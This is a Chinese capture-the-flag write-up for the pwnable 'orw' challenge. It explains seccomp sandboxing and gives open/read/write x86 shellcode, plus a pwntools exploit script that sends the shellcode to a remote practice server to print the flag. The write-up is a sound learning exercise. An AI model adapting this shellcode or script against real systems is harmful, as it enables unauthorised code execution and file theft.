> 文章列表 > pwnable_orw-seccomp沙箱

pwnable_orw-seccomp沙箱

pwnable_orw-seccomp沙箱

1,三连
pwnable_orw-seccomp沙箱
2,IDA静态分析
pwnable_orw-seccomp沙箱

知识点引入:
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

借助seccomp-tools工具查看可以系统调用的函数:
pwnable_orw-seccomp沙箱
还能调用o(open)/r(read)/w(write)功能,题目orw的提示就是这样来的!

思路:打开文件->读文件内容->输出文件内容。

手动生成读取文件shellcode

打开flag文件,sys_open(file,0,0);系统调用号为5

push 0x0  			#字符串结尾
push 0x67616c66		#'flags'
mov ebx,esp			
xor ecx,ecx			#0
xor edx,edx			#0
mov eax,0x5			#调用号
int 0x80			#sys_open(flags,0,0)

读flag文件,sys_read(3,file,0x100);系统调用号为3

mov eax,0x3; 
mov ecx,ebx;	# ecx = char  *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3;	# 文件描述符 fd:是文件描述符 0 1 2代表标准的输出输入和出错,3代表其他打开的文件
mov edx,0x100;	#对应字节数
int 0x80;

输出flag文件内容,sys_write(1,file,0x30);系统调用号为4

mov eax,0x4;	# eax = sys_write
mov ebx,0x1;	# ebx = unsigned int fd = 1
int 0x80;

pwntool-shellcraft自动生成

from pwn import *#start
# r = process("../orw")
r = remote('node4.buuoj.cn',26576)
context.log_level = 'debug'#attack
shellcode = shellcraft.open('flag')					
shellcode += shellcraft.read('eax','esp',60)	#写入到esp的地址,其他可写地址也行,60大小随便改。eax处不为(0/1/2已被占用的文件描述符即可)
shellcode += shellcraft.write(1,'esp',60)			#从esp读取内容
payload = asm(shellcode)
r.sendlineafter("shellcode:",payload)
print(r.recv())
# io.interactive()  

prctl 函数主要是设置系统调用功能的开关,详情参考:https://www.jianshu.com/p/75e157cea215

prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;
而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止);

设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数:

1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数